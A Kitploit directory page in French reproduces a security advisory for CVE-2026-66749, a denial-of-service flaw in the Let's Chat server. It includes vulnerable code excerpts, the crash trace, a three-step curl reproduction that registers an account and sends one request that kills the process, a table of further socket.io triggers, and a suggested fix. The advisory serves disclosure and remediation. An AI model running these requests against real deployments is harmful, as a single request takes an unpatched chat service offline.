Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
Outils/GitHubGitHub/theopaid/cve-2026-66749-unchecked-room-lookup-leads-to-server-crash-let-s-chat-
Vulnerability AnalysisCode AnalysisExploitationWeb Application ExploitationWeb SecurityPenetration TestingLearning & Education
GitHubtheopaid/cve-2026-66749-unchecked-room-lookup-leads-to-server-crash-let-s-chat-

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2026-66749-Unchecked-Room-Lookup-Leads-to-Server-Crash-Let-s-Chat-

Security Advisory: Unchecked Room Lookup Leads to Server Crash (Let's Chat)

Voir le dépôt
il y a 23 joursPas encore vérifié

Avis de sécurité : une recherche de salon non contrôlée entraîne le crash du serveur (Let's Chat)

Identifiant CVE attribué : CVE-2026-66749

Résumé

Une seule requête HTTP provenant de n'importe quel compte connecté arrête le processus du serveur Let's Chat.

GET /messages prend un paramètre room, recherche ce salon par son identifiant, puis appelle une méthode sur le résultat sans vérifier que la recherche a retourné quelque chose. Envoyez un identifiant qui est une chaîne hexadécimale valide de 24 caractères mais qui n'appartient à aucun salon, et le TypeError résultant est levé à l'intérieur d'un callback Mongoose. Express ne capture que les exceptions levées de manière synchrone à l'intérieur d'un gestionnaire, donc celle-ci atteint Node comme une exception non capturée et le processus se termine.

Versions concernées

URL du dépôt : https://github.com/sdelements/lets-chat

Vulnérable de la version 0.4.0 (commit 84981a6, 21 févr. 2015, qui a introduit l'appel canJoin) jusqu'à la 0.4.8, la dernière version. Aucune version corrigée n'existe.

Confirmé sur la 0.4.8 au commit 617207f, et sur docker.io/sdelements/lets-chat:latest (0.4.7), qui est toujours publiquement téléchargeable.

Classification

CWE-476 : Déférencement de pointeur NULL, menant à CWE-248 Exception non capturée et CWE-400 Consommation de ressources non contrôlée.

Score de base CVSS 4.0 : 7,1 (Élevé) CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N

Modèle de menace

L'attaquant a besoin d'un compte utilisateur ordinaire et d'un accès réseau au port HTTP. Il n'a pas besoin de posséder ou d'appartenir à un salon, de connaître un identifiant de salon existant, ni de détenir un rôle privilégié.

L'exigence de compte est faible dans une installation par défaut, car auth.local.enableRegistration est défini sur true par défaut dans defaults.yml, donc toute personne pouvant atteindre la page de connexion peut créer un compte puis exécuter la requête.

Ni le Procfile (web: npm start) ni docker/docker-compose.yml ne configurent un superviseur ou une politique de redémarrage, donc sur un déploiement standard, une seule requête met le service hors ligne jusqu'à ce qu'un opérateur le redémarre. Là où un opérateur a ajouté une supervision de processus, l'attaquant peut simplement répéter la requête.

Détail technique

La route n'enregistre aucun middleware de validation de salon. app/controllers/messages.js:25-32 :

root@kitploit:~
app.route('/messages')
    .all(middlewares.requireLogin)
    .get(function(req) {
        req.io.route('messages:list');
    })
    .post(function(req) {
        req.io.route('messages:create');
    });

Comparez avec app/controllers/messages.js:34-41, où la variante limitée au salon ajoute bien middlewares.roomRoute, qui résout le salon et renvoie 404 lorsqu'il n'existe pas :

root@kitploit:~
app.route('/rooms/:room/messages')
    .all(middlewares.requireLogin, middlewares.roomRoute)

Ainsi, sur /messages, la valeur room atteint le gestionnaire sans validation. app/core/messages.js:118-129 :

root@kitploit:~
Room.findById(options.room, function(err, room) {
    if (err) {
        console.error(err);
        return cb(err);
    }

    var opts = {
        userId: options.userId,
        password: options.password
    };

    room.canJoin(opts, function(err, canJoin) {   // line 129: room may be null

Model.findById rappelle avec (null, null) lorsque l'identifiant est correctement converti mais ne correspond à aucun document. Il n'y a pas de garde if (!room), donc la ligne 129 déréférence null.

Sortie observée :

root@kitploit:~
events.js:174
      throw er; // Unhandled 'error' event

TypeError: Cannot read property 'canJoin' of null
    at /usr/src/app/app/core/messages.js:129:14
    at model.Query.<anonymous> (/usr/src/app/node_modules/mongoose/lib/model.js:4093:16)

Reproduction

Sur une installation standard sur le port 5000, sans modification de configuration :

root@kitploit:~
BASE=http://localhost:5000

# 1. Create an account. Self registration is on by default.
curl -s -X POST $BASE/account/register \
  -H 'Content-Type: application/json' \
  -d '{"username":"mallory","email":"[email protected]",
       "password":"Passw0rd!23","password-confirm":"Passw0rd!23",
       "firstName":"M","lastName":"M","displayName":"M"}'

# 2. Log in and keep the session cookie.
curl -s -c cookie.txt -X POST $BASE/account/login \
  -H 'Content-Type: application/json' \
  -d '{"username":"mallory","password":"Passw0rd!23"}'

# 3. Ask for the messages of a room that does not exist.
curl -s -b cookie.txt "$BASE/messages?room=507f1f77bcf86cd799439011"

L'étape 3 ne renvoie aucun corps de réponse et curl se termine avec le code 52 (réponse vide du serveur). Le processus serveur a disparu. Tout identifiant composé de 24 caractères hexadécimaux et ne correspondant à aucun salon fonctionne.

Autres occurrences du même défaut

express.oi enregistre chaque clé app.io.route(...) comme un simple gestionnaire socket.on(...) (initRoutes dans node_modules/express.oi/lib/index.js). Un client socket.io authentifié peut donc appeler directement ces gestionnaires, ce qui contourne la chaîne de middlewares Express, y compris roomRoute. Cela supprime également le try/catch d'Express, donc une levée synchrone qui serait une 500 sur HTTP tue le processus via socket.io.

Chacun des cas suivants termine également le processus. Tous ont été confirmés.

Correction suggérée

Protégez les recherches. Dans app/core/messages.js:118 et app/core/files.js:156 :

root@kitploit:~
Room.findById(options.room, function(err, room) {
    if (err) {
        console.error(err);
        return cb(err);
    }

    if (!room) {
        return cb(null, []);
    }
    ...

app/core/rooms.js:234 nécessite le même traitement avant d'appeler sanitizeRoom, et app/core/rooms.js:248 devrait rejeter un options.identifier manquant ou non chaîne.

Deux modifications fermeraient toute la classe de défauts plutôt que ces seules occurrences. Premièrement, contraindre et valider les paramètres de requête supposés être des chaînes (expand, room, id, take, skip) à la frontière du contrôleur. Deuxièmement, envelopper la distribution des gestionnaires socket.io dans un try/catch et attacher un gestionnaire process.on('uncaughtException') afin qu'une seule requête erronée dégrade en réponse d'erreur au lieu d'arrêter le serveur.

Télécharger l’outil
Accessible viaEntréeSite de déclenchement
HTTP et socket.iomessages:list, room défini sur un identifiant inexistantapp/core/messages.js:129
HTTP et socket.iofiles:list, room défini sur un identifiant inexistantapp/core/files.js:167
socket.iorooms:get avec un identifiant inexistant, ou sans identifiantapp/core/rooms.js:213 via :234
socket.iorooms:users sans salonapp/core/rooms.js:248
socket.iorooms:join sans identifiantapp/core/rooms.js:248
socket.iomessages:list avec expand sous forme de tableauapp/core/messages.js:97
socket.iofiles:list avec expand sous forme de tableauapp/core/files.js:139
socket.iousers:get avec id sous forme d'objetapp/models/user.js:139